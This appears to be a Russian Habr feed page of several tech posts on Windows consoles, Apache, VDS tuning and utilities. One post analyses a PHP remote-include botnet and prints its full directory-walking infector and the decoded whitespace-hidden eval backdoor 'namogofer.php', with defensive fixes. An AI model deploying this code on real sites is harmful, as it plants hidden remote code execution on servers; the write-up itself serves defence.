Как стать автором
Поиск
Написать публикацию
Обновить

*nix'овые команды в консоли Windows

Я работаю инжеНегром в одной большой китайской компании и почти постоянно сижу в консолях различных ОС. Чаще всего это SLES, но бывают и Solaris, и даже иногда HPUX.

Но на корпоративных буках стоит только Windows. А после недели\двух в консоли на *nix виндовая консоль часто ругается на то, что не знает команд ls, ifconifg, man и т.д.

Конечно, есть аналоги под вин, есть cygwin и много чего. Однако для меня как правило, остаточно аналогов, нативных под виндой — dir, ipconfig etc. Опять же, бывает недостаточно прав на установку ПО, либо это явно запрещено.

Я нашел для себя простой выход
Читать дальше →

InTV Tuner — Просмотр InTV.ru без рекламы, с удобной навигацией и поиском, фулскрин и без проблем с энергосбережением

Итак… безгеморойный (суть удобный и без рекламы) просмотр видео с ресурса intv.ru тема в рунете весьма популярная. Однако до сих пор никто не озаботился сделать сей процесс по-настоящему удобным. Чтобы в этом убедиться, достаточно погуглить по «intv без рекламы» и уныло созерцать результаты, мало относящиеся к делу, например, вот этот пост на хабре с привлечением каких-то сторонних тулзов типа VLC или какие-то левые букмарклеты для firefox, изобретенные ленивыми линухоидами :) Но теперь все в прошлом, потому что появилось по-настоящему удобное решение (и да, пока только под винды).

image

Что уже есть

— Просмотр видео «в один клик»
— Никакой рекламы, ни текстовой. никаких внезапных прерываний видео рекламой
— Навигация по жанрам
— Поиск фильмов
— Автоматическое отключение скринсейвера и энергосбережения, ваш комп теперь не уйдет в зелень и монитор не выключится, если вы давно не трогали мышку ;)
— Возможность просмотра видео на полный экран без всяких мешающих панелей и логотипов
— Возможность скачать фильм по прямой ссылке
— Бесплатно и фриварно

Что скоро будет

— Добавятся еще сайты с фильмами
— Еще более улучшится навигация
— Видео можно будет автоматически сохранять при просмотре

Где взять

http://intv-tuner.blogspot.com/

Где обсудить

http://forum.ru-board.com/topic.cgi?forum=5&topic=30782

Тайм-менеджмент и коворкинг. Радикальное решение вопроса.

Хочу поделиться интересной идеей успешной организации коворкинга для отдельно взятого человека. Для меня сработало «на ура», значит, наверное, и другим пригодится. Если вы одиночка в работе, то это то, что доктор прописал. Способ очень дешевый и оригинальный.
Читать дальше →

Спам (и антиспам) → Утилита для настройки OpenDNS

После прочтения топика Использование OpenDNS для блокирования нежелательного контента в домашней сети решил поделиться с сообществом информацией о бесплатной утилите позволяющей легко настроить ваш компьютер на использование DNS серверов OpenDNS.

Такое решение позволяет родителям, не разбираться в особенностях OS, где и для каких соединений прописывать нужные DNS сервера. Также утилита позволяет устанавливать пароль на изменение DNS серверов, что является дополнительной защитой.

Единственное, что в интерфейсе не поддерживаются черные и белые списки и используются настройки фильтрации по умолчанию, но это всегда можно настроить через веб. Будем надеятся, что в следующих версиях эти фичи появятся.

Саму утилиту можно скачать тут

iCtrlClip — Буфер Обмена в сети

Я хочу обратить ваше внимание на программу iCtrlClip. Вам наверно хотелось сделать на одном компьютере Ctrl + C или Ctrl + X, а на другом Ctrl + V. Но вы вспоминаете, что это две разные машины и тогда задумывайтесь: «Была бы такая программа, которая совершала данную функцию...». Сразу ваши поиски устремляются в Google. Результаты только о программах, которые сохраняют последние изменения в буфере обмена. Так что я предлагаю вам другое решение.
Данное программное обеспечение позволяет убрать ограничения в использование буфера обмена (clipboard). Она позволяет безопасную передачу данных буфера обмена по сети Ethernet и Internet. Все поступившие данные в буфер сохраняются программой, подавая запрос пользователю на принятия данных. Программа раздельно хранит графические и текстовые данные, последние можно редактировать. Так же данные можно удалять. “iCtrlClip” запоминает до 50 последних поступлений данных в буфер обмена. Программа может пересылать данные по сети на несколько компьютеров сразу, используя для этого выпадающее меню, где можно выбрать необходимый подключенный компьютер с установленной программой. Работает как обычные чаты, типа Сервер – Клиент. “iCtrlClip” дает расширенные возможности работы с буфером обмена.
Программа была разработана и с модулированна в моей курсовой по предмету Анализ и моделирование информационных систем (2008 год) и Объектное Ориентированное Программирование (2009 год).
Так вот, она уже закончена.
image
Ограничения в текущей версии:
• Запоминает последние 15 изменений в буфере обмене.
• В главном окне выводятся последние 10 данных.

Скачать можно с этого линка — iCtrlClip_v1.1_BETA
Перед использованием прочитайте Readme.

Программа еще в «бэта состояние» и прошу громко не ругать :)
Жду предложения и замечания.

Тестирование различных png фиксов.

Недавно мне пришлось использовать достаточно большое число png иконок (gif не подходит по той причине, что фон под иконками разный и обтравить его не представляется возможным) на одой странице и тут возникла достаточно интересная ситуация. Иконок в сумме всего четыре, тегов img для них порядка 200. Казалось бы, что это ничего страшного, так как иконка загрузится всего один раз и далее будет браться из кеша, что собственно и происходит.

Исходим из наличия четырех иконок и употребления их на странице в числе 265 штук. Тестирование производится локально. В качестве средств тестирования выступает ie6, Windows Task Manager, Http analyzer

Начнем проводить тестирование производительности каждого из фиксов с самого основного — дополнительного для ie6 свойства filter. Напомню, что выглядит оно так

filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='../image.png', sizingMethod='image');


Правда, что бы он заработал для тега img его нужно модифицировать до вида, хотя есть и другие вариации.

background-image: expression(
this.runtimeStyle.backgroundImage = "none",
this.runtimeStyle.filter =
"progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" +
this.src + "', sizingMethod='image')",
this.src = "dot.gif"
);


где dot.gif — однопиксельная прозрачная gif картинка.

Открываем «испытуемого» в ie6 и видим, что фон у картинок пропадает поочередно. Причиной этого является то, что для обработки каждой из иконок браузер отсылает по одному http запросу к файлу dot.gif, что в сумме дает 269 http запросов на картинки (с учетом самих иконок) — назовем это «Основная проблема». Суммарное время обработки при первой загрузке сотавило 2.781 секунды. По результату десяти тестов среднее время обработки составило 2.85 секунды. Именно эту цифру мы принимаем за минимальную величину и переходим к тестирования более «автоматических» фиксов.

Начнем с одного из самых часто используемых — iepngfix.htc Данное решение основано на использовании того же filter, только заключается в автоматическом нахождении элементов через DOM. Требует однопиксельный gif. Поведение ie6 к обработке каждой из иконок идентично первому способу. Среднее время обработки — 3.05 секунды, что несколько больше, чем при использовании expression. Но основная проблема осталась.

Менее известный скрипт — supersleight.js,
который тоже основан на использовании filter показал абсолютно аналогичный результат по сравнению с iepngfix.htc, только особенность его обработки в том, что он начинает обработку с последней картинки.
Среднее время в случае использования данного фикса — 3.5 секунды

Неменее неизвестный скрипт — unitpngfix.js
Отличается, пожалуй, только тем, что «весит» 950 байт. В целом поведение один в один с supersleight.js.
Среднее время обработки данным скриптом — 4 секунды

Популярный плагин к библиотеке jquery «pngFix.js»
проявил себя достаточно плохо. Он отправил всего 4 http запроса, при том условии что использует он все тот же filter, но из десяти тестов браузер полностью завис три раза, остальный разы рендеринг страницы длился более 20 секунд. Так что этот вариант нельзя использовать при таком числе картинок.

Отличный по своей функциональности ie7-js
тут же показал себя просто отлично. 4 http запроса, небольшое время обработки всех картинок (порядка пяти секунд), отсутствие зависания браузера. Наблюдается лишь подвисание исчезновения серого фона у иконок.

Самое последнее (имеется ввиду по дате появления) решение проблемы прозрачности png-24 — DD_belatedPNG
Тут происходит самое интересное явление, которое заключается в том, что браузер посылает 8 http запросов, т.е по 2 раза к одной иконке, при этом время отклика по итогам тестирование ни разу не превысило 0.5 секунд, но приводило к существенному зависанию браузера на время рендеринга всех картинок. Фактически браузер «зависал» на 10—15 секунд, после чего отображал страницу. Такое поведение можно считать неприемлемым вариантом.

Подводя итоги данного теста DD_belatedPNG и jquery pngFix можно признать самыми неудачными вариантами в случае использования большого числа изображений, хотя DD_belatedPNG во всех других ситуациях, т.е при небольшом числе обрабатываемых изображений формата png-24, фактически не имеет себе равных. iepngfix, supersleight и expression в целом оказались значительно быстродейственнее, хотя создают много http запросов. Победителем данного теста можно смело назвать ie7-js и expression
_________
Текст подготовлен в ХабраРедакторе

namogofer.php или бойтесь include'ов url использующих

Вступление


Повесть начну с того, что, зайдя однажды по FTP на один из подотчетных сайтов, обнаружил в корне странный файл namogofer.php. Внутри увидел банальный бэкдор, позволяющий исполнять любой PHP код, загрузив его на сервер обычным методом.

От шока я отошел довольно быстро, и начал разбираться. Взглянув на владельца файла, понял, что создан он был не кем иным, а именно апачем. Выбрал кусок лога, за день создания, и начал шерстить на предмет наличия хитрых запросов с надеждой найти что-либо. Получив только записи об обращении к уже закачанному файлу и ворох запросов говорящих о сканировании сайта на наличие php include уязвимости побрел я в гугль.

Добрый поисковик накидал мне пачку ссылок на разноязычные ресурсы, просмотрев которые я понял в чем дело.

Злосчастный файл являлся кроме бэкдора еще и частью хитрой сети по захвату компов в ботнет.
Операция по внедрению проходит в несколько этапов.

Этап 1:


Сканирование сайта на наличие PHP include уязвимости. Для этого бот прошерстит все обнаруженные PHP скрипты подставляя в параметры ссылку на маленький тестовый скрипт:

<?php echo md5("just_a_test");?>

Причем проверка проводится с нескольких абсолютно разных IP адресов, что наводит на мысли о наличии ботнета. После того, как наличие уязвимости в скрипте обнаружится и будет подтверждено разными ботами, все затихнет, чтобы немного позже перейти к этапу 2.

Этап 2:


По старой схеме, через include уязвимость на сервере исполняется скрипт, который пробегая по всем папкам внутри сайта, создает где это возможно тот самый namogofer.php и выводит информацию о его расположении. Теперь зараженный сайт готов к третьему этапу.

Собственно код скрипта, взят с одного из сайтов, найденных гуглом.

 <?php 

error_reporting(1);
global $HTTP_SERVER_VARS;
$START = time();
$WD_TIMEOUT = array(8,7,6,6,5,5,5,5,0);
function my_fwrite($f,$data) {
global $CURFILE;
$file_mtime = @filemtime($f);
$file_atime = @fileatime($f);
$dir_mtime = @filemtime(@dirname($f));
$dir_atime = @fileatime(@dirname($f));
if ($file_h = @fopen($f,"wb")){
@fwrite($file_h,$data);
@fclose($file_h);
if ($file_mtime){
@touch($f,$file_mtime,$file_atime);
}elseif(@filemtime($CURFILE)){
@chmod($f,@fileperms($CURFILE));
@touch($f,@filemtime($CURFILE),
@fileatime($CURFILE));
@chgrp($f,@filegroup($CURFILE));
@chown($f,@fileowner($CURFILE));
};
if ($dir_mtime)
@touch(@dirname($f),$dir_mtime,$dir_atime);
return $f;
}else{
return '';
};
};
function ext($f){
return substr($f, strrpos($f, ".") + 1);
};
function walkdir($p,$func='_walkdir',$l=0){
global $START;
global $WD_TIMEOUT;
global $FL;
$func_f = "{$func}_f";
$func_d = "{$func}_d";
$func_s = "{$func}_s";
$func_e = "{$func}_e";
if ($dh = @opendir("$p")){
if (function_exists($func_s)) {
if ($func_s($p,$l)) return 1;
};
while ($f = @readdir($dh)){
if (time() - $START >= $WD_TIMEOUT[$l] )
break;
if ($f == '.' || $f == '..' )
continue;
if (@is_dir ("$p$f/") )
walkdir("$p$f/",$func,$l+1);
if (@is_dir ("$p$f/") && function_exists($func_d))
$func_d("$p$f/",$l);
if (@is_file("$p$f" ) && function_exists($func_f))
$func_f("$p$f" ,$l);
};
closedir($dh);
if (function_exists($func_e))
$func_e($p,$l);
};
};
function r_cut($p){
global $R;
return substr($p,strlen($R));
};
function say($t) {
echo "$t\n";
};
function testdata($t) {
say(md5("testdata_$t"));
};
$R = $HTTP_SERVER_VARS['DOCUMENT_ROOT'];
$CURFILE = $HTTP_SERVER_VARS['DOCUMENT_ROOT'].$HTTP_SERVER_VARS['SCRIPT_NAME'];
echo ""; testdata('start'); $fe = ext($CURFILE); if (!$fe) $fe = 'php'; $FN = "namogofer.$fe"; function _walkdir_s($d,$l) { global $FCNT; $FCNT = array('fn' => '','dir' => 0,'file' => 0,'simtype' => 0); }; function _walkdir_d($d,$l) { global $FCNT; $FCNT['dir' ]++; }; function _walkdir_f($f,$l) { global $FCNT; $FCNT['file']++; if (ext($f) == ext($CURFILE)) $FCNT['simtype']++; }; function _walkdir_e($d,$l) { global $C,$FCNT,$FN; if ($C[$l]<7){ if (my_fwrite("$d$FN",str_repeat("\n",100).str_repeat(' ',150).base64_decode('PD9waHAgZXJyb3JfcmVwb3J0aW5nKDEpO2dsb2JhbCAkSFRUUF9TRVJWRVJfVkFSUzsgZnVuY3Rpb24gc2F5KCR0KSB7IGVjaG8gIiR0XG4iOyB9OyBmdW5jdGlvbiB0ZXN0ZGF0YSgkdCkgeyBzYXkobWQ1KCJ0ZXN0ZGF0YV8kdCIpKTsgfTsgZWNobyAiPHByZT4iOyB0ZXN0ZGF0YSgnc3RhcnQnKTsgaWYgKG1kNSgkX1BPU1RbInAiXSk9PSJhYWNlOTk0MjhjNTBkYmU5NjVhY2M5M2YzZjI3NWNkMyIpeyBpZiAoJGNvZGUgPSBAZnJlYWQoQGZvcGVuKCRIVFRQX1BPU1RfRklMRVNbImYiXVsidG1wX25hbWUiXSwicmIiKSwkSFRUUF9QT1NUX0ZJTEVTWyJmIl1bInNpemUiXSkpeyBldmFsKCRjb2RlKTsgfWVsc2V7IHRlc3RkYXRhKCdmJyk7IH07IH1lbHNleyB0ZXN0ZGF0YSgncGFzcycpOyB9OyB0ZXN0ZGF0YSgnZW5kJyk7IGVjaG8gIjwvcHJlPiI7ID8+').str_repeat(' ',150)."\n".str_repeat("\n",100))){ $C[$l]++; $FCNT['fn'] = r_cut("$d$FN"); say(implode("\t",$FCNT)); }; }; }; walkdir("$R/"); testdata('end'); echo "
";
?>


Код namogofer'а. Изначально свернут в одну строчку и прячется от стороннего глаза сдвигом на 150 символов от начала строки и на 100 строк вниз.

<?php
error_reporting(1);
global $HTTP_SERVER_VARS;

function say($t) {
echo "$t\n";
};

function testdata($t) {
say(md5("testdata_$t"));
};

echo ""; testdata('start'); if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3") { if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])) { eval($code); }else{ testdata('f'); }; }else{ testdata('pass'); }; testdata('end'); echo "
";
?>


Этап 3:


Собственно теперь злоумышленник может пожинать плоды трудов своих ботов. Через обычный upload с особыми параметрами на сайт заливается нужный php код, и без лишних вопросов исполняется сервером.
Вот таким изощренным образом, множество сайтов получили себе инъекцию чужого кода, а их разработчики дополнительную головную боль. Защититься от такой напасти несложно. Для этого нужно запретить файловым функциям PHP (к коим также относятся include и require) открывать файлы по url.
Либо через php.ini

; Disable allow_url_fopen for security reasons
allow_url_fopen = 'off'


Либо в конфигурации конкретного сервера в апаче.

# Disable allow_url_fopen for security reasons
php_flag allow_url_fopen off


Тем, кто не может отказаться от данной фичи (как например владелец того злосчастного сайта), советую получше фильтровать данные попадающие в параметр функции include.

В день обнаружения мной этой гадости, через гугл находилось множество сайтов охваченных заразой. На данный момент их меньше, но они есть. Ссылки приводить не буду, желающие могут поискать.

Вот здесь статья на ту же тему на английском. Сразу скажу, что этот топик не перевод и не рерайт, а собственные наблюдения и мысли.

P.S. Уязвимый скрипт на пострадавшем сайте оказался уже давно ненужным элементом сайта, который забыли удалить за ненадобностью. Не повторяйте таких ошибок.

P.P.S. Добавлю, что 3 этап на этом сайте так и не прошел. Внутрення структура сайта оказалась слишком запутанной для заражающего скрипта, создавая namogofer.php, скрипт получал невалидный url для него, и в результате на 3-м этапе в access.log'е красовались 404 ошибки при попытке что-либо исполнить через бэкдор. Таким образом применение mod_rewrite оказалось черезвычайно уместным и полезным.

Легким движением руки Firefox превращается Google chrome!

Я люблю пользоваться Google chrome потому что он легок в управлении и быстро работает, а также у него минимизированный не броский интерфейс. В общем можно сказать классный браузер для поиска и просмотра, но, есть у нас как всегда одно НО, нет у него возможности установки плагинов как Firefox (firebug, webdevelopment…), без которых трудновато верстать сайты. И по этому часто приходится прыгать с одного браузера в другой, эта проблема натолкнула мя на мысль по гуглить и найти решение этой проблемы. И свершилось чудо :) я с firefox сделал google chrome, а произошло это вот так…
Э то делается довольно просто в несколько шагов:
• Качаем download.mozilla.org/?product=firefox-3.5&os=win&lang=ru
• Устанавливаем, запускаем
• Качаем addons.mozilla.org/ru/firefox/addon/8782
• Устанавливаем, перезапускаем
• Набираем в строке адреса about:config
• В поле filter вводим browser.urlbar.autoFill двойным нажатием левой клавиши миши изменяим значение на True.
• В поле filter вводим keyword.URL и жмем «изменить», в появившемся окне вставляем строчку www.google.com.ru/search?btnG=Google+Search&q=. И ok.
• В поле filter вводим mousewheel.withnokey.sysnumlines = false и после этого mousewheel.withnokey.numlines = 8, (8 означает скоко строк прокрутим).
Ну вот и результат :)

Цветной вывод в консоли Windows

Иногда хочется или даже полезно немного раскрасить вывод консольной программы :-)
Подробно про API для работы с консолью (достаточно обширный) можно прочитать в MSDN в разделе «WIn32 and COM Development\System Services\SDK-Documentation\DLLs, Processes and Threads\Character-Mode Applications».

Для установки свойств выводимого текста сущетсвует функция SetConsoleTextAttribute. Вот ее прототип: BOOL WINAPI SetConsoleTextAttribute(HANDLE hConsole, WORD wAttributes). Нас будет интересовать слово wAttributes, а точнее константы:

FOREGROUND_RED
FOREGROUND_GREEN
FOREGROUND_BLUE
FOREGROUND_INTENSITY

и

BACKGROUND_RED
BACKGROUND_GREEN
BACKGROUND_BLUE
BACKGROUND_INTENSITY

Комбинируя эти константы при помощи побитового или можно получать цвета, отличные от красного, зеленого и синего. То есть, слово wAttributes аналогично параметру, принимаемому командой COLOR в cmd.exe.

Ну вот собственно и пример:

/*
* DrSmith 2009
* Эта программка демонстрирует возможность
* цветного вывода в консоли Windows :-)
*/

#include <windows.h>
#include <tchar.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
HANDLE hStdIn, hStdOut;
TCHAR *lpszString1 = TEXT(«первая строчка»);
TCHAR *lpszString2 = TEXT(«вторая строчка»);
DWORD dummy;

/* требуем консоль нашему процессу */
if(!AllocConsole()) {
MessageBox(NULL, TEXT(«AllocConsole error.»), TEXT(«Error»), MB_OK MB_ICONERROR);
return 1;
}

/* получаем хэндлы стандартного ввода и вывода */
hStdIn = GetStdHandle(STD_INPUT_HANDLE);
hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);

if(hStdIn == INVALID_HANDLE_VALUE
hStdOut == INVALID_HANDLE_VALUE) {
MessageBox(NULL, TEXT(«GetStdHandle error.»), TEXT(«Error»), MB_OK MB_ICONERROR);
return 2;
}

/* устанавливаем сочный зеленый цвет текста */
SetConsoleTextAttribute(hStdOut, FOREGROUND_GREEN FOREGROUND_INTENSITY);

/* Выводим первую тестовую строчку */
WriteConsole(hStdOut, lpszString1, _tcslen(lpszString1), &dummy, NULL);

/* устанавливаем красный цвет текста на белом фоне */
SetConsoleTextAttribute(hStdOut, FOREGROUND_RED
BACKGROUND_RED BACKGROUND_GREEN BACKGROUND_BLUE BACKGROUND_INTENSITY);

/* Выводим вторую тестовую строчку */
WriteConsole(hStdOut, lpszString2, _tcslen(lpszString2), &dummy, NULL);

Sleep(5000);
return 0;
}

Настройка виртуальных хостов на Apache для начинающих

В прошлых статьях мы установили и настроили на локальном компьютере сервер Apache. В принципе, на этом можно было бы остановиться, так как сервер находится в рабочем состоянии и его можно спокойно использовать в работе. Но, по личному опыту, могу сказать, что использование только одного хоста localhost не очень удобно при разработке нескольких сайтов, так как для каждого сайта нужно будет создавать в каталоге localhost отдельный каталог и со временем в ней (папке localhost) будет очень трудно разобраться и что-то найти. Да и при тестировании разрабатываемого проекта гораздо удобнее набирать в браузере адрес вида test, чем localhost/test. Поэтому мы приступаем к настройке виртуальных хостов на локальном сервере.

Вообще, существует два способа конфигурирования виртуальных хостов: на основе имени и на основе IP-адреса. Но, так как мы настраиваем локальный сервер и у нас только один IP (кстати, для локалки он 127.0.0.1), то вариант с привязкой к IP нам не подходит и мы будем рассматривать вариант с привязкой к имени.

В прошлой статье я уже упоминал, что в файле конфигурации httpd.conf сервера есть строчка Include conf/extra/httpd-vhosts.conf. Мы ее уже раскомментировали, поэтому собственно и переходим к этому файлу. Найти его можно в папке Apache/conf/extra/.

Начнем рассматривать содержимое файла.
Первая директива – это NameVirtualHost *:80 привязывает виртуальные хосты, указываемы далее, к именам сайтов указанных в секциях <VirtualHost …>. Здесь вместо звездочки можно вписать IP 127.0.0.1, но тогда во всех секциях <VirtualHost> нужно будет указать то же самый IP. Принцип работы этой директивы заключается в том, что при обращении, допустим, к адресу localhost, сервер проверяет, соответствует ли входящий адрес и порт, описанным в секциях VirtualHost и имеется ли запись 127.0.0.1:80 в директиве NameVirtualHost. Если соответствует, то он перебирает секции VirtualHost, в заголовках которых указан входящий адрес. Таким образом, запрос 127.0.0.1:80 будет распределяться только между виртуальными хостами, в которых он указан.

Дальше в файле идут секции VirtualHost. Как видно из названия, каждая секция описывает настройки каждого виртуального хоста. Обязательно должна быть хотя бы одна такая секция, которая описывает настройки для localhost.
<VirtualHost *:80>
DocumentRoot “D:/server/localhost/www”
ServerName localhost
ErrorLog “D:/server/logs/localhost.error.log”
CustomLog “D:/server/logs/localhost.access.log” common


Директива DocumentRoot в этой секции указывает на папку, к которой будет происходить обращение при вызове адреса localhost.
ServerName как раз содержит имя нашего виртуального хоста, то есть его адрес. Сюда можно вписывать как адреса вида localhost, test, site, так и адреса localhost.ru, test.com, www.site.org.
В ErrorLog и CustomLog мы указываем, где будут хранится логи этого виртуального хоста. Обратите внимание, имеет смысл для каждого хоста добавлять в имя файла лога название этого хоста, чтобы в будущем было легко найти лог требуемого хоста. Эти директивы можно и не указывать, но тогда логи этого виртуального хоста будут храниться в общих логах сервера.

В таком виде секция виртуального хоста уже работоспособна и на этом можно остановиться. Но можно добавить такие директивы как:
  • ServerAdmin webmaster@site.ru – адрес электронки администратора виртуального хоста
  • ServerAlias www.site.ruзеркало хоста

Кроме того, можно добавить секции для индивидуальной настройки хоста:

<IfModule alias_module>
ScriptAlias /cgi-bin/ “d:/server/host_name/cgi-bin”


Создает ссылку на папку скриптов cgi-bin для хоста host_name.

<Directory “d:/server/host_name/www”>
Options Indexes Includes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from all


Настройки директории хоста host_name, их мы разбирали в прошлой статье.

После настройки файла httpd-vhosts.conf проверим правильность его конфигурации. В каталоге D:\server\Apache\bin\ создайте файл httpd-S.cmd с содержимым:
“D:\server\Apache\bin\httpd.exe” –S
pause


После запуска этого файла вы увидите окно с отчетом о проверке, Syntax OK в конце говорит о том, что все настройки в порядке.

Теперь нужно прописать созданные хосты в файл C:\Windows\system32\drivers\etc\hosts. Для этого открываем его текстовым редактором и вносим следующие записи:

127.0.0.1 www.host1.ru host1.ru #Чтобы не набирать www перед именем сайта, создаем зеркало
127.0.0.1 www.host2 host2 #Можно и без .ru создавать хосты
127.0.0.1 host3 #Самый распространенный вариант для локалки
127.0.0.1 localhost # Обычно уже указано, проследите чтобы случайно не удалили и не закомментировали.


Сохраните файл и перезапустите Apache. Попробуйте разместить в каталогах созданных вами виртуальных хостов какие-нибудь тестовые файлы (например index.html) и из браузера открыть хосты по адресам, указанным в директории ServerName каждого хоста.

Если вам приходится часто создавать виртуальные хосты и не очень хочется каждый раз редактировать все эти файлы и перезапускать Apache вручную, создайте в папке сервера (D:\server\) файл createVH.cmd с таким содержимым:

@cls
@rem Получаем текущую папку. Если у вас структура папок сервера как у меня, но он установлен, например на другом диске, укажите здесь вместо %~dp0 путь с нему (например, D:\server\) косая черта в конце обязательна.
@set server_path=%~dp0
:dir_exist
@set /P new_dir="Enter new VHost name:"
@set /P ip_add="Enter your IP address:"
@ if exist %server_path%%new_dir% echo "VHost %new_dir% already exist. Please re-enter Vhost name."
@ if exist %server_path%%new_dir% goto dir_exist
@md %server_path%%new_dir%

@rem Здесь указывается путь до конфиг файла виртуальных хостов, если у вас другой , поменяйте
@set outputfile=%server_path%Apache\conf\extra\httpd-vhosts.conf
@echo. >> %outputfile%
@echo ^<VirtualHost %ip_add%:80^> >> %outputfile%
@echo ServerName %new_dir% >> %outputfile%
@echo DocumentRoot "%server_path%%new_dir%" >> %outputfile%
@echo ErrorLog "%server_path%logs\%new_dir%.error.log" >> %outputfile%
@echo CustomLog "%server_path%logs\%new_dir%.access.log" common >> %outputfile%
@echo ^</VirtualHost^> >> %outputfile%
@if %ip_add%==* set ip_host=127.0.0.1
@if not %ip_add%==* set ip_host=%ip_add%
@set hostfile=%windir%\system32\drivers\etc\hosts
@echo. >> %hostfile%
@echo %ip_host% %new_dir% >> %hostfile%
@set htmlfile=%server_path%%new_dir%\index.html
@echo ^<html^> >> %htmlfile%
@echo ^<head^> >> %htmlfile%
@echo ^<title^>%new_dir%^</title^> >> %htmlfile%
@echo ^</head^> >> %htmlfile%
@echo ^<body^> >> %htmlfile%
@echo %new_dir% >> %htmlfile%
@echo ^</body^> >> %htmlfile%
@echo ^</html^> >> %htmlfile%
@rem Здесь путь до самого сервера, если у вас другой, поменяйте
@start %server_path%Apache\bin\httpd.exe -k restart


Теперь для создания хоста просто запустите этот файл, впишите в ответ имя нового хоста и IP, который будет указываться в секции VirtualHost файла httpd-vhosts.conf. По окончанию работы программа сама закроется. Вам останется только проверить созданный хост, набрав в адресной строке браузера имя, которое вы вписали в программу. Если все успешно прошло, то вы увидите страницу с именем нового хоста.

Обратите внимание, программа рассчитана на то, что структура каталогов сервера соответствует той, которую я указывал в первой статье. Если у вас установлен сервер по другим путям, поправьте файл в соответствии с ними.

Компьютерный фестивель — Chaos Constructions 2009 (29 — 30 апреля)

С 29 по 30 августа в Санкт-Петербурге пройдет очередной (девятый) компьютерный фестиваль Chaos Constructions.

Начавшись как демо-пати мероприятие ныне превратилось в один из крупнейших компьютерных фестивалей в России. В программу фестиваля входят традиционные для демо-пати конкурсы такие как demo, 64к intro, wild, zx компо, графические компо, а также хак-конкурсы и технические семинары.

На фестивале проводится выставка старых компьютеров, где каждый желающий может потрогать древние машины и поработать на них.

Вход бесплатный, для посетителей пришедших со своими компьютерами предоставляются стол, стул, 220В, проводная и беспроводная сеть.

Как я выжил на маленьком vds.

Собственно тема не нова — vds, самый дешёвый из всех, что был найден. Как следствие минимум ресурсов, зато неплохие такие амбиции.

Итак, достался мне виртуальный сервер с 64 Мб памяти, быстродействием в 300 Мгц, и диском около 1 Гб.
Операционную систему хостер предоставляет на выбор, и переустановка сервера, в случае чего, занимает считанные минуты.
Ленивое желание, чтобы всем занимался инсталлятор debian'a повлияло на выбор.
Изначально планировалось разместить на площадке закрытую конференцию для группы энтузиастов в 10 человек.
Затем у отдельных индивидов появилось жгучее желание наклепать персональных страниц, но проблемы начались немедля.

Из lenny-ветки дебиана были поставлены apache2.2, mysql 5.1, php5 и необходимые модули для апача.
Всё установилось и заработало. Только был залит контент сайта, и не успели пройти первые восторги, как выяснилось, что при одновременном захождении 5 человек (я уже не говорю о большем), mysql падал и восторг прекращался.
Банально, не тюнингованный апач сжирал всю память, и mysqld после печального "Out of memory" больше не поднимался.
Первым бесплатным решением было увеличить своп, но выяснилось что на этом vds свопа вообще нет. Более того, его нельзя было создать никаким образом, и функции типа sawpon не поддерживались. Понятно, хостеру тоже надо кушать.
Пытка хостера наивно-непосредственными вопросами привела к следующим выводам:
— на линкусе swap никак не разрешён;
— на freebsd swap обязательно имеется.
При чём в размере оперативной памяти. Ого-го, подумалось группе халявщиков. Немедленно переезжаем на FreeBSD!
Собственно переезд оказался быстр, но последствия не утешительны. Mysqld так же падал.
А swap… Swap в FreeBSD такая вещь, без которой он (bsd), категорически не функционирует. Т.е. присутствует номинально он обязательно. Но в top'е (на vds) показывает примерно следующее:
Swap: 192M Total, 1572K Used, 190M Free
Грубо говоря, swap не оправдал возложенные на него надежды.

Пришлось-таки, почесать затылок и заняться оптимизацией.

Перво-наперво был отыскан в дебрях /usr/local/share/mysql конфиг my-small.cnf для "…систем с малым количеством памяти (<= 64M)". Практически без изменений содержимое оказалось в /etc/my.cnf, от себя добавил только:
default-character-set=cp1251
character-set-server=cp1251
skip-character-set-client-handshake

все бэкапы в cp1251, что ж теперь. Не помешало бы skip-innodb, но это в будущем.
Так же, после внимательного изучения вопроса тюнинга тредов (http://compiling.ru/optimization/mysql-threads-tunning/), кэш (thread_cache_size) был выставлен на 8 Мб. Эффект получился весьма удовлетворительный:
mysqladmin extended-status -p | grep hread
Enter password:
| Delayed_insert_threads | 0 |
| Slow_launch_threads | 0 |
| Threads_cached | 4 |
| Threads_connected | 1 |
| Threads_created | 5 |
| Threads_running | 1 |


Размер резидентной памяти для процесса mysqld сейчас колеблется около 10-13 Мб.

Продолжим.

Следующим этапом стало желание оградиться от всепожирающего апача. Эксперименты с легковесными веб-серверами оставим на потом. Ибо, правильно, — лениво. Да и потом, неужели могучий и универсальный Apache нельзя заточить под себя?
Про то, что нужно чистить ненужные модули я и не говорю. Но я просто и без затей полез в секцию Multi-Processing Modules. На freebsd это файл /usr/local/etc/apache22/extra/httpd-mpm.conf. Нужно проверить, чтобы соответствующая строка в httpd.conf была раскомментирована. Из многообразия prefork-worker-etc, как учили отцы, нужно выбрать нужное:
apachectl -l
Compiled in modules:
core.c
prefork.c
http_core.c
mod_so.c

Значит, правим prefork MPM. Описание параметров вовсе не секрет, есть даже на русском:
http://compiling.ru/optimization/apache-prefork/.
В нашем случае StartServers делаем равным 1. Нечего жировать с самого старта. Запас свободных воркеров от 2 до 5:
MinSpareServers 2
MaxSpareServers 5

Дальше немного практического расчёта. Уже не помню точно сколько памяти занимал один воркер, ориентировался на размер процесса непосредственно после запуска апача.
Допустим, 5 процессов по 8-10 Мб, как раз впишется в условия системы.
Другими словами, жёстко ограничиваем MaxClients числом 5, и предлагаем другим http-запросам немного повисеть в очереди.
Немного позже был протюнингован параметр MaxRequestsPerChild до 10. Из соображений держать размер одного воркера в разумных пределах.
В совокупности с уменьшенным Timeout до 60, и
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 5

уменьшается время, выделяемое для обработки запросов одного клиента, позволяя веб-серверу обслужить очередь новых страждущих.
В итоге, с учётом замечательного mod_evasive, Apache прекрасно себе поживает, потребляя отведённые ему 50 Мб.
